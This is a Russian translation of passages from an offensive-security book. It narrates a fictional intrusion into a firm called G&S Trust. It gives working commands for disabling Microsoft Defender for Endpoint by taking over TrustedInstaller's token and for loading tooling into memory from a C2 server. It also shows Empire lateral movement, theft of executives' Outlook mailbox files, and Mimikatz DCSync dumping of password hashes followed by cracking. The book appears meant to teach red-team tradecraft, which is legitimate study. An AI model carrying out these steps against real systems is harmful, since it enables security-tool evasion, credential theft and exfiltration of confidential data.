Основная причина этой ошибки состоит в том, что и служба Sense, и служба DiagTrack пребывают под новой защитой служб с названием Protected Process Light (PPL):

C:\Lab> sc qprotection sense
[SC] QueryServiceConfig2 SUCCESS
SERVICE sense PROTECTION LEVEL : WINDOWS_LIGHT

Защита службы это функциональная возможность безопасности, реализованная начиная с Windows 8.1, которая экранирует особенные процессы режима пользователя от определённых атак, таких как внедрение процесса, манипуляция памятью и прекращение процесса, причём даже когда они осуществляются от имени учётной записи администратора.

Чтобы получить технические сведения, помеченный защищённым процесс обладает соответствующим флагом в своей структуре E_PROCESS, установленным в положительное значение (это значение зависит от величины уровня защиты). Структура E_PROCESS пребывает в пространстве ядра, а потому требует загрузки драйвера (или применения эксплойта ядра) в данной системе чтобы перезаписать её. Для регистрации драйвера в Windows 10 необходим сертификат подписи кода с расширенной проверкой (EV, extended validation) который, не считая проверки подлинности, стоит около 400 долларов.

Существуют инструменты, предназначенные для отключения этого флага защиты, например, PPLKiller, которые поставляются со своим собственными драйверами с подписью и предлагают возможность отключить защиту процесса с применением подобной приводимой ниже команды:

C:\> sc create pplkiller binPath=C:\Windows\System32\drivers\pplkiller.sys type= kernel

C:\> sc start pplkiller

Mimikatz предлагает аналогичные возможности. Тем не менее, MDE подхватывает драйвер Mimikatz и это лишь вопрос времени когда он подберёт и PPLKiller. В конце концов, мы не можем изменить название своего драйвера без запроса действующего сертификата EV, что существенно ограничивает нашу манёвренность.

К счастью, имеется более спокойный и более надёжный маршрут.

Втираемся в доверие

В описании защищённых служб Microsoft говорится, что "только доверенные абоненты имеют возможность останова такой службы". Что они подразумевают под доверенными абонентами? Оказывается, существует служба с названием TrustedInstaller, которой вменяется обязанность управления защищёнными службами и прочими важными ресурсами в системе. Именно эта служба, к примеру, способна переименовывать и удалять конфиденциальные файлы, такие как C:\windows\system32\cmd.exe. Если мы взглянем на список управления доступом (ACL, access control list) для cmd.exe:

PS C:\Lab> Get-Acl C:\Windows\System32\cmd.exe |fl

Path   : C:\Windows\System32\cmd.exe
Owner  : NT SERVICE\TrustedInstaller
Group  : NT SERVICE\TrustedInstaller
         NT SERVICE\TrustedInstaller Allow FullControl

мы можем отметить, что связанная со службой TrustedInstaller виртуальная группа NT Service\TrustedInstaller обладает полными правами над файлом cmd.exe. То же самое справедливо для служб PPL, таких как DiagTrack и Sense!

Однако странно, что сама служба TrustedInstaller не помечена как защищённая служба:

C:\> sc qprotection trustedinstaller
[SC] QueryServiceConfig2 SUCCESS
SERVICE trustedinstaller PROTECTION LEVEL: NONE.

Я полагаю, это некий парадокс бесконечное регрессии. В любом случае, это означает, что мы можем применять свои права для изменение двоичного пути TrustedInstaller для запуска командной строки, которая автоматически останавливает связанную с MDE службу Sense, как это отражено на Рисунке 11.7. Вот та команда, которая, в теории, должна делать именно это:

C:\> sc config TrustedInstaller binPath= "cmd /C sc stop sense" && sc start TrustedInstaller

Рисунок 11.7

Останов относящейся к MDE службы Sense

Почти. Нас блокируют Windows Defender и MDE. Вместо этого мы испробуем ещё более незаметную команду WMI:

PS C:\Lab> Get-WmiObject win32_service -filter "Name='trustedinstaller'" | Invoke-WmiMethod -Name Change -ArgumentList @($null,$null,$null,$null,null,"cmd /K sc стоп sense");
PS C:\> start-service trustedinstaller

Рисунок 11.8

Блокирование Windows Defender и MDE

Ладно, пора засучить рукава. Поскольку служба TrustedInstaller не защищена, попробуем внедрить новый поток в её процесс. Мы будем пользоваться данным потоком для создания нового интерпретатора командной строки, который унаследует дескриптор токена безопасности TrustedInstaller. Иными словами, мы сможем действенно выдавать себя за подлинный TrustedInstaller с его полномочиями!

Внедряем поток

Существует множество способов внедрения потока в процесс: у Mimikatz имеется модуль манипуляции токенами, проект Empire содержит сценарий Invoke-TokenManipulation, а Meterpreter загружает в память версию инструмента Incognito. Тем не менее, все эти инструменты являются хорошо знакомыми атакующими инфраструктурами, а если мы будем применять усиленное запутывание (которое, как мы уже видели не всегда способно срабатывать), MDE наверняка их зацепит. На Рисунке 11.9 показано, как MDE достаточно точно выявляет выбранные схемы атак.

Рисунок 11.9

Инфраструктура MDE для распознавания атак

Нам потребуется создать свою собственную процедуру для пародирования токенов, которая пока не была обработана MDE как часть обучающих сведений. Такая техника может показаться слишком сложной, но, к счастью, нам не требуется начинать с нуля. Джеймс Форшоу разработал очень представительный набор инструментов PowerShell, подробно описанный на странице https://github.com/google/sandbox-attacksurface-analysis-tools/. Эти инструменты реализуют NT- структуры и оболочки для интерфейсов API Windows нижнего уровня чтобы проделывать всевозможные забавные вещи, такие как вывод списка объектов ядра (например, семафоров, мутантов и тому подобного), считывания процессов и, конечно же, для воспроизведения токенов безопасности!

Мы можем выгрузить этот проект целиком с GitHub, а затем скомпилировать в Visual Studio модули NtObjectManager и NtApiDotNet, как это показано на Рисунке 11.10. Эти два модуля содержат те методы, которые мы будем применять для подражания своим токенам.

Рисунок 11.10

Компиляция модулей NtObjectManager и NtApiDotNet

[Замечание]
Замечание

.

Если у вас нет Visual Studio, вы можете выгрузить его из https://visualstudio.microsoft.com/vs/community/.

Компиляция этих двух модулей даёт две DLL .NET с названиями NtObjectManager.dll и NtApiDotNet.dll, которые содержат всё что нам требуется для передразнивания TrustedInstaller.exe. Эти DLL не включают никаких антивирусных предупреждений, поскольку они содержат легальный код Windows и всего лишь определяют обёртки вокруг API Windows нижнего уровня. Поэтому, технически говоря, мы можем просто сбросить их в виртуальный диск Strat Jumbo, загрузить их в PowerShell и полностью уйти от них. Однако, будучи скрытными предусмотрительными хакерами, мы выберем чистую загрузку в память.

Мы выгружаем эти DLL в свой сервер C2 и пользуемся функцией Load соответствующего класса System.Reflection.Assembly для динамической загрузки этих DLL в память. И снова, это срабатывает, поскольку мы имеем дело с файлами сборки .NET. Прежде всего мы, как обычно, настраиваем объект браузера и полномочия прокси:

PS C:\> $browser = New-Object System.Net.WebClient;
PS C:\> $browser.Proxy.Credentials= [System.Net.CredentialCache]::DefaultNetworkCredentials;
PS C:\> $b = $browser.DownloadData("https://www.stratjumbo.co.au/NtObjectManager.dll")
PS C:\> $c = $browser.DownloadData("http://www.stratjumbo.co.au/NtApiDotNet.dll")

И, наконец, мы загружаем свои DLL в память:

PS C:\> $d = [System.Reflection.Assembly]::Load($b)
PS C:\> $e = [System.Reflection.Assembly]::Load($c)

Затем мы импортируем эти загруженные сборки как будто мы импортируем любые обычные DLL или сценарий PowerShell, получая доступ к сонму изящных небольших функций для управления объектами .NET, которые содержат эти библиотеки DLL.

PS C:\> Import-module $d
PS C:\> Import-module $e

PS C:\> $e.GetExportedTypes()

IsPublic IsSerial Name
True     False    GetNtSidCmdlet
True     False    GetNtAccessMaskCmdlet
True     False    GetNtGrantedAccessCmdlet
True     False    AccessCheckResult
--snip--

Мы проверяем инструментальную панель MDE чтобы убедиться что мы ничего не зажгли в его радаре. Рисунок 11.11 показывает что на данный момент нет никаких предупреждений. Всё идёт как и ожидалось.

Рисунок 11.11

До сих пор никаких предупреждений ...

Отлично. Теперь мы можем начать возиться с токенами безопасности! Мы желаем получить токены TrustedInstaller и воспользоваться их привилегированными разрешениями для отключения MDE. Во- первых, мы получаем разрешение SeDebugPrivilege для своего текущего сеанса PowerShell, которое позволит нам взаимодействовать с пространством памяти системного процесса:

PS C:\Lab> $Token = Get-NtToken -Primary
PS C:\Lab> $Token.SetPrivilege([NtApiDotNet.TokenPrivilegeValue[]]"SeDebugPrivilege", [NtApiDotNet.PrivilegeAttributes]"Enabled")

PS C:\> $Token.Privileges | Where-Object {$_.name -eq "SeDebugPrivilege"}

Attributes : Enabled
Luid       : 00000000-00000014
Name       : SeDebugPrivilege
DisplayName: Debug programs
Enabled    : True

Затем мы запускаем процесс TrustedInstaller и получаем дескриптор для его процесса, воспользовавшись Get-NtProcess:

PS C:\Lab> start-service trustedinstaller

PS C:\Lab> $ti_process = Get-NtProcess -Name "TrustedInstaller.exe"

В своей заключительной части мы вызовем из DLL NtApiDotNet метод CreateProcess для запуска интерпретатора командной строки с TrustedInstaller.exe в качестве его родительского процесса. Однако прежде чем мы сделаем это, нам необходимо подготовить эти рти ключевых параметра:

Командную строку для исполнения; в данном случае подойдёт просто cmd

Собственно родительский процесс; то есть дескриптор для TrustedInstaller.exe

Соответствующий параметр CreationFlags для открытия нового окна консоли

Мы транслируем эти параметры в структуры NtApiDotNet чтобы уложиться в отличительные признаки данного метода. Прежде всего мы создаём новый объект Win32ProcessConfig для хранения конфигурации своего процесса:

PS C:\Lab> $config = New-Object NtApiDotNet.Win32.Win32ProcessConfig

Затем мы выполняем назначение своей командной строке для исполнения:

PS C:\Lab> $config.CommandLine = "cmd"

Мы сохраняем число 16 в своём параметре CreationFlags для принуждения метода CreateProcess к открытию нового окна консоли:

PS C:\Lab> $config.CreationFlags = [NtApiDotNet.Win32.CreateProcessFlags]16

И, наконец, мы назначаем TrustedInstaller.exe родительским процессом:

PS C:\Lab> $config.ParentProcess = $ti_process

Мы запитываем этой конфигурацией функцию CreateProcess и успешно порождаем новый интерпретатор командной строки, порождая подлинность TrustedInstaller, как это отражено на Рисунке 11.12:

PS C:\> [NtApiDotNet.Win32.Win32Process]::CreateProcess($config)

Рисунок 11.12

Порождение новой командной строки

Из этого нового окна командной строки мы можем просто изменить двоичный путь DiagTrack, затем и вовсе остановив эту службу. То же самое мы проделаем для службы WinDefend, чтобы также отключить и его антивирус:

C:\Lab> sc config diagtrack binPath="hey"
C:\Lab> sc stop diagtrack
C:\Lab> sc query diagtrack

SERVICE_NAME: diagtrack
   TYPE            : 10 WIN32_OWN_PROCESS
   STATE           : 3 STOP_PENDING
                   (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
   WIN32_EXIT_CODE : 0 (0x0)

Конец! Прощай, Microsoft Defender for Endpoint (Рисунок 11.13). Это было забавно!

Рисунок 11.13

Отключаем всё зло!

Альтернативные маршруты

Следует сделать одно замечание: хотя мы можем останавливать при помощи данного трюка с внедрением потоков WinDefend и DiagTrack, поскольку начиная с Windows 10 версии 1607 служба Sense помечена как NOT_STOPPABLE, мы не способны её останавливать технически. Чтобы победить MDE достаточно отключения DiagTrack, но если вы также настаиваете и на отключении службы Sense, вам потребуется изменить её двоичный путь и перезапустить систему чтобы затем это изменение вступило в силу.

Если по какой- либо причине мы не можем возиться со свойствами этой службы, мы всегда можем изменить имена исполняемых файлов в папке C:\Program Files\Windows Defender Advanced Threat Protection\, воспользовавшись своим приглашением на ввод с повышенными токеном TrustedInstaller правами. Например, переименование файла SenseCncProxy.exe не позволит MDE передавать данные своей телеметрии своей облачной службе. Это будет иметь то же воздействие, что и отключение DiagTrack.

Поскольку MDE в значительной степени полагается на свою облачное решение для определения того какое поведение является нормальным, а какое нет, другим альтернативным способом отключения MDE выступает блокировка соединения с серверами Windows. Когда ваш межсетевой экран не управляется GPO, мы можем поместить в него правила, блокирующие взаимодействие со следующими URL:

securitycenter.windows.com

winatp-gw-cus.microsoft.com

winatp-gw-eus.microsoft.com

winatp-gw-weu.microsoft.com

winatp-gw-neu.microsoft.com

us.vortex-win.data.microsoft.com

eu.vortex-win.data.microsoft.com

psapp.microsoft.com

psappeu.microsoft.com

Ресурсы

Документация для Microsoft Defender for Endpoint

Сообщение в блоге "Duping AV with Handles" от SkelSec, автора реализации Mimikatz на Python, pypykatz, в котором подробно описан интересный вариант повторного применения существующих открытых дескрипторов для доступа к памяти LSASS

Обход перехвата пространства пользователя

Сказание об обходе EDR

Динамическое извлечение системных вызовов

Коллекция обходных путей EDR

Глава 14. Джекпот

Содержание

Глава 14. Джекпот

Ищем точку опоры

Взламываем хранилище

Заключительные соображения

Ресурсы

Теперь у нас имеется доступ к учётной записи верхнего уровня администратора домена в виде admin.gloria. Настало время пожинать плоды секретов, которые G&S Trust скрывала от нас всё это время: личности своих уклоняющихся от уплаты налогов клиентов. Это конец партии, друзья.

Ищем точку опоры

Мы породили нового агента с повышенными правами на том же самом кипрском сервере, GS-CS-01, причём на это раз воспользовавшись учётной записью admin.gloria. Также мы устанавливаем ещё один исполняемый файл обратной оболочки, применяя ту же схему удержания, которую мы применяли в Главе 13 на то случай, если мы утратим доступ администратора к компьютеру Сары.

Наша сетевая среда по существу плоская, а потому, пользуясь учётной записью Глории, мы можем получать доступ к любой системе в любом из пяти географических мест с этого одного сервера. Мы возвращаемся к своим результатам Invoke-Share из Главы 13 и приступаем к просмотру вручную всех прочих совместных ресурсов, которые ранее были недоступны нам через учётную запись Сары, начинаем с HR:

Empire: NFRSE1T2) > shell dir \\GS-ML-02.gstrust.corp\HR

LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2018 2:18:25 PM         Employees Worldwide
3/8/2018 5:41:47 PM          Bonuses
2/20/2018 10:32:49 PM        Legal HR documents
2/12/2018 10:32:49 PM        Reviews
--snip--

Мы получаем сведения о жирных бонусах партнёров, зарплатах персонала, отзывах о сотрудниках и прочих персональных данных, но в действительности мы пришли не за этим. Мы ищем всё, что способно привести нас к личностям клиентов. Мы просматриваем ещё пару совместных папок, поглощая все документы, которые только можем, от протоколов бюджетных совещаний до праздничных фотографий членов правления. Однако вскоре становится ясно, что единой папки с перечнем корпоративных клиентов и их непосредственных бенефициаров тут нет. Это бессмысленно. Даже теневые офшорные компании обязаны соблюдать типичные правила знай своего клиента (KYC, know-your-customer), скажем, запрашивать удостоверения личности и подтверждённые адреса. Данные обязаны быть где- то здесь, просто мы ещё не нашли их.

Давайте переключим передачу и ещё раз сосредоточимся на отдельных рабочих станциях, в особенности на рабочих станциях команды руководителей. Руководители пребывают в копиях всех важных переговоров и тратят 90% своего времени на неистовый набор электронных писем в своих iPhone и планшетах. Эти устройства, естественно, не входят в сферу действия Active Directory, но почти во всех системах на базе Windows копии электронных писем удобно хранятся в сервере Microsoft Exchange, а затем распространяются на рабочие станции пользователей Outlook сохраняет эти электронные письма локально в формате кэша, известном как файл OST (Offline Storage Table, Таблицы автономного хранилища). Следовательно, если у нас имеется доступ к рабочим станциям руководителей, мы способны с минимальными усилиями загружать их электронные письма.

[Замечание]
Замечание

Хакер Dafthack выпустил инструмент с названием MailSniper, который выполняет выборку электронных писем непосредственно из сервера Exchange. Однако его применение сделало бы задачу слишком простой, поэтому мы пойдём своим путём.

Прежде всего нам требуется установить соответствие рабочих станций персоналу. Мы возвращаемся к своим результатам рекогносцировки компьютеров и наводим фокус на рабочие станции, выполняя выборку перечня всех имеющихся имён хостов:

root@C2Server:~# grep -Ei -B4 "operatingsystem\s+: Windows [7810]+" agent.log

cn: WL0912
operatingsystem               : Windows 10
--snip--
cn: WG0081
operatingsystem               : Windows 10
--snip--

То же самое мы можем выполнить, воспользовавшись модулем PowerView get_computer в сочетании с LDAP для исключения серверов:

(Empire: NFRSE1T2) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > set LDAPFilter (!(operatingsystem=*server*))
(Empire: get_computer) > execute

Мы сохраняем все названия рабочих станций в файле с названием list_workstations.txt, по которому мы итеративно проходим, выискивая открытые порты SMB (Server Message Block, блока серверных сообщений). SMB это классический протокол обмена файлами и выставления совместных сетевых ресурсов. Когда некая машина обладает своими выставленными портами SMB, авторизованные пользователи (обычно администраторы) способны удалённо просматривать их локальные диски, посещая их совместных двойников: например, C:, становится доступным через \workstation\c$.

Чьтобы узнать какая машина какому сотруднику назначена, мы просматриваем свой перечень рабочих станция, пытаясь получить наивный список каталогов C::\usersfolders. Список или массив в PowerShell обладают следующим форматом: @("Element1", "Element2", ...). Мы преобразовываем свой перечень рабочих станций в этот формат и запитываем им цикл foreach, который исполняет команду c:\users. Затем мы выполняем сопоставление своих результатов с имеющейся командой руководителей, перечисленных на вебсайте G&S Trust. Просто, но эффективно:

Empire: NFRSE1T2) > shell @("WL0912", "WG0081", [--snip--]) | foreach{write-output $_; dir $_\c$\users}"

WL0912
Mode         LastWriteTime        Length   Name
------       -------------        ------   ----
d-----       4/23/2020            1:29 PM  alice

WG0081
Mode         LastWriteTime        Length   Name
------       -------------        ------   ----
d-----       4/23/2020            3:25 PM  mike
--snip--

Empire: NFRSE1T2) > download \\WL0912.gstrust.corp\C$\Users\alice\AppData\Local\Microsoft\Outlook\alice@gs-trust.com

Мы снова применяем тривиальную сетевую архитектуру чтобы напрямую связаться с этими машинами со своего файлового сервера на Кипре и загрузить содержащие электронные письма файлы OST.

[Замечание]
Вариант с недоступными рабочими станциями

У нас не всегда может иметься такая роскошь как тривиальная сетевая среда. Если бы эта компания приняла иную управляемую сетевой средой архитектуру, мы бы воспользовались более косвенных подходом, применяющим Контроллер домена. Давайте посмотрим как это будет выглядеть. Во- первых, чтобы связать пользователей с их компьютерами, мы просматривали журналы подключений. Приводимая ниже команда PowerShell анализирует формат журнала событий Windows для извлечения только успешных событий подключения - с идентификатором 4624 - из своего Контроллера домена, извлекает имена пользователей и компьютеры, а затем отсеивает фоновый шум, создаваемый учётными записями компьютеров (заканчивающимися на $), которые постоянно устанавливают и регистрируют соединения SYSTEM:

PS C:\> Get-WinEvent -LogName 'security' -computer localhost |
 Where-Object { $_.Id -eq 4624 } |
 Select-Object -Property timecreated, id, @{label='computer';expression={$_.properties[11].value}}, @{label='username';expression={$_.properties[5].value}} |
 Where-Object { $_.username -ne 'SYSTEM' -and !$_.username.EndsWith('$') -and $_.computer -ne '-'}

TimeCreated              Id computer       username
-----------              -- --------       --------
12/29/2020 5:00:03 PM  4624 WL0912         alice
12/29/2020 4:59:51 PM  4624 WG0081         mike
--snip--

Это снабжает нас перечнем пользователей и соответствующих им машин. Отсюда, чтобы получить доступ к кэшированным электронным письмам, у нас есть несколько вариантов. Например, одним из способов может быть применение модуля Empire new_gpo_immediate_task для создания параметра GPO, который будет создавать новую оболочку при следующей синхронизации компьютера с Контроллером домена. Этот трюк позволит избежать любого имеющегося сетевого разделения, потому как всем объектам в домене нужна возможность доступа к Контроллеру домена. Идём ли мы по прямому маршруту связи между сервером и рабочей станцией или по этому второму, более путанному маршруту, использующему GPO и Контроллер домена, результат один и тот же.

Как только мы получили доступ к рабочей станции Алисы, мы можем выгрузить её хранящиеся в Outlook в качестве файлов OST из C:\Users\alice\AppData\Local\Microsoft\Outlook электронные письма. Это всего лишь вопрос исполнения команды загрузки нашего агента Empire:

Empire: NFRSE1T2) > download \\WL0912.gstrust.corp\C$\Users\alice\AppData\Local\Microsoft\Outlook\alice@gs-trust.com

Мы выполняем промывку и повторяем те же самые шаги для электронных писем всех целевых руководителей: мы выявляем их рабочие станции, затем извлекаем имеющиеся файлы OST. Мы загружаем эти файлов OST в обыкновенного клиента Outlook и начинаем просматривать электронную почту выискивая любые интересные вложенные файлы или ссылки на системы хранения, как это показано на Рисунке 14.1.

Здесь находятся необработанные данные, хотя обработка таких гигабайтов данных - почтовых ящиков, вложений, файлов PDFs, Excel и .docx из совместных ресурсов - для подключения к этим точкам потребует серьёзной и трудоёмкой исследовательской работы. Это сложно, но это наилучший способ найти иголку посреди этого спутанного стога сена.

Рисунок 14.1

Поиск электронной почты на предмет присоединённых писем

Доступ к электронной почте руководителей поможет нам проникнуть сквозь последнюю стену тумана, окружающего G&S Trust. Изучив несколько сотен электронных писем, мы обнаруживаем несколько экземпляров ссылок, подобных показанной на Рисунке 14.2, которые раскрывают кое- что многообещающее: место хранения всех конфиденциальных документов, связанных с корпорациями - прослойками G&S Trust, в действительности представляющее виртуальную комнату данных, размещённых сторонним партнёром. Такой тип безопасного хранилища часто применяется юридическими командами во время сделок по слиянию и поглощению и прочих важных операций.

Рисунок 14.2

Ссылка на комнату с виртуальными данными

Такие получатели писем дают нам сведения, что по крайней мере Майк Росс и Харви Спектер обладают доступом к этой виртуальной комнате данных. Людям нравится повторно применять пароли на разных платформах, поэтому существует большая вероятность, что их пароли Windows предоставят нам доступ к этой комнате данных. Давайте начнём с этого, а затем, если необходимо, пройдёмся и по другим зацепкам.

Взламываем хранилище

Чтобы получить пароли Active Directory Майка и Харви, вместо того чтобы пользоваться учётной записью Глории для администратора с целью подключения к их компьютерам с последующим запуском Mimikatz, как мы это делали ранее, мы злоупотребим функциональной возможностью AD, носящей название репликации домена. Это процесс, при помощи которого Контроллеры домена выполняют синхронизацию своих соответствующих параметров чтобы они были способны поддерживать согласованную конфигурацию. Одним из таких видов параметров выступают хэши пользователей NT. Mimikatz обладает функциональной возможностью dsync, которая позволяет нам олицетворять некий Контроллер домена и применять данный протокол репликаций для запроса копий хэша домена для каждого пользователя. Каждый. Обособленный. Пользователь. Вот это сила. Мы можем вызывать dsync непосредственно из Empire при помощи приводимой далее команды, если у нас имеется учётная запись администратора домена, что мы и выполняем от имени

   admin.gloria:

Empire: NFRSE1T2) > usemodule credentials/mimikatz/dcsync

Empire: dcsync) > set user harvey
(Empire: dcsync) > set domain GSTRUST.CORP
(Empire: dcsync) > run

Hostname: ML-AD-01.GSTRUST.CORP / S-1-5-21-2376009117-2296651833-4279148973
  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi`
 '## v ##'   http://blog.gentilkiwi.com/mimikatz (oe.eo)
 '#####'    with 18 modules * * */

mimikatz(powershell) # lsadump::dcsync /user:harvey /domain:GSTRUST.CORP
[DC] 'GSTRUST.CORP' will be the domain
[DC] 'ML-AD-01.GSTRUST.CORP' will be the DC server
[DC] harvey will be the user account

** SAM ACCOUNT **

SAM Username         : harvey
User Principal Name  : harvey@GSTRUST.CORP
--snip--
Credentials:
  Hash NTLM: 9A7D1A7FAAAF52DB5559E93CE72F1E42
--snip--

Мы пользуемся этим модулем и назначаем для начала пользователя Харви, а доменом обсуждавшийся нами в Главе 13 домен Active Directory GSTRUST.CORP. Это предоставляет нам некий хэш NT, который мы можем взломать воспользовавшись своей экипировкой для взлома из Главы 9. NTLM в 150 раз проще взламывать нежели алгоритм eType23 Kerberos, что означает, что мы можем достигать этого на 37 миллиардах хэшей в секунду в своём скромном экземпляре p2.8xlarge AWS.

Всего через несколько минут мы получаем пароль Харви для Windows: Armani0!. Мы взволнованно вводим этот пароль в странице входа в комнату данных и, о чудо, нас встречает показанная на Рисунке 14.3 папка.

Рисунок 14.3

Хранящая величайшие секреты комната виртуальных данных

[Замечание]
Замечание

Если бы по какой бы то ни было из причин данный метод не сработал бы, мы бы могли воспользоваться множеством прочих способов: Мы бы могли установить в компьютере Харви keylogger, получить его сохранённые пароли Firefox, извлечь его сохранённые учётные данные из сейфа (vault) Windows, или исследовать личные документы на его рабочем месте. Когда мы превращаемся в администратора домена, почти никакие учётные записи не удержатся, как листья холодной ноябрьской ночью.

В яблочко! Наконец, после стольких недель борьбы мы отыскиваем Святой грааль, красиво разложенный по сотням вложенных папок, причём каждая из них содержит идентификаторы паспортов, сертификаты акций, дивиденды, права собственности и тому подобное.

Просто щёлкнув по этому дереву каталогов в папке Malta, мы натыкаемся на компанию, назовём её X, которая приобрела три объекта недвижимости в Лондоне, десять апартаментов в Париже и яхту! Некоторые доказательства мы можем наблюдать в заметках заседания совета директоров на Рисунке 14.4.

Рисунок 14.4

Замечания о собрании совета, подтверждающего приобретение недвижимости

И это не какая- то компания по продаже недвижимости, которая сдаёт квартиры в разных местах, это компания, целиком состоящая из одного директора, единственной целью которого является подписание повседневных юридических операций: ведения банковского счёта, выплаты дивидендов, проведения операций и тому подобного, что мы наблюдаем на Рисунке 14.5.

Рисунок 14.5

Назначение единственного директора этой компании

Естественно, эта шарада устроена не совсем в угоду этому директору, они лишь подставные лица данного шоу. Акционером данной компании является ещё одна корпорация, зарегистрированная в другом офисе G&S Trust. Мы просматриваем соответствующую папку и находим, что бенефициаром этой посреднической организации выступает очень известная общественная фигура (Рисунок 14.6).

Рисунок 14.6

Адресованный G&S Trust документ, подтверждающий бенефициарного владельца компании

Мы видим, что этот человек приобрёл акций данной прокладочной компании на сотни тысяч фунтов стерлингов, а она, в конечном счёте, владеет компанией с реальными активами (Рисунок 14.7).

Рисунок 14.7

Документ перевода

Это захватывающе. Мы направляем полученные документы через серверы и рабочие станции G&S Trust во избежание каких бы то ни было оповещений. Сторонняя организация, размещающая комнату данных, должна привыкнуть к тому, что IP адреса G&S Trust загружают файлы такого рода.

Теперь осталось лишь загрузить эти многие терабайты данных в наши серверы, просеять всё это в поисках дополнительных имён и компаний и передать эти сведения Международному консорциуму журналистов- расследователей (ICIJ, International Consortium of Investigative Journalists) ... или повысить ставку.

Заключительные соображения

Основная цель данной книги, которая, я надеюсь, чётко изложена на данных страницах, состоит в том, чтобы научить вас вырабатывать интуитивную привычку задавать вопросы не только о том какие механизмы защиты установлены в конкретной системе, но и о том, какие сторожевые системы обнаружения применяются на практике. Какие события отслеживаются? Как они контролируются? Способна ли данная компания выявлять несоответствия в имеющемся сетевом обмене? Как насчёт системной активности? Надеюсь, вы будете задавать такие вопросы и в будущем.

Эти параметры снабдят вас надёжными подсказками о том, насколько слышимыми вы можете быть в целевой сетевой среде. Затем вы можете принять решение какие методы и инструменты применять. В конце концов, утечка данных или получение доступа к учётным записям администраторов домена - это не окончательная победа, если через неделю вас обнаружат за то, что вы в прямом смысле запустили массовое выполнение Mimikatz в памяти на 150 серверах.

В данной книге я в основном сосредоточился на продуктах Microsoft (ATA и MDE), потому как я действительно ценю вложенные в них усилия и соображения - в отличие от многих прочих поставщиков, они не наполнены дерьмом. В реальной жизни вы сможете столкнуться, как минимум, с дюжиной прочих инструментов следующего поколения, но я надеюсь, что достаточно поделился соображениями, которые, дабы избежать обнаружения, вы можете испробовать, раз подозреваете что такие инструменты работают в сетевой среде компании.

Как всегда, получайте удовольствие, овладевая всем миром! (Конечно, законно.)

Ресурсы

Инструмент для выделения из профилей Mozilla паролей

Инструмент для выделения хранящихся в Windows vault прав доступа

Указатель

Содержание

Указатель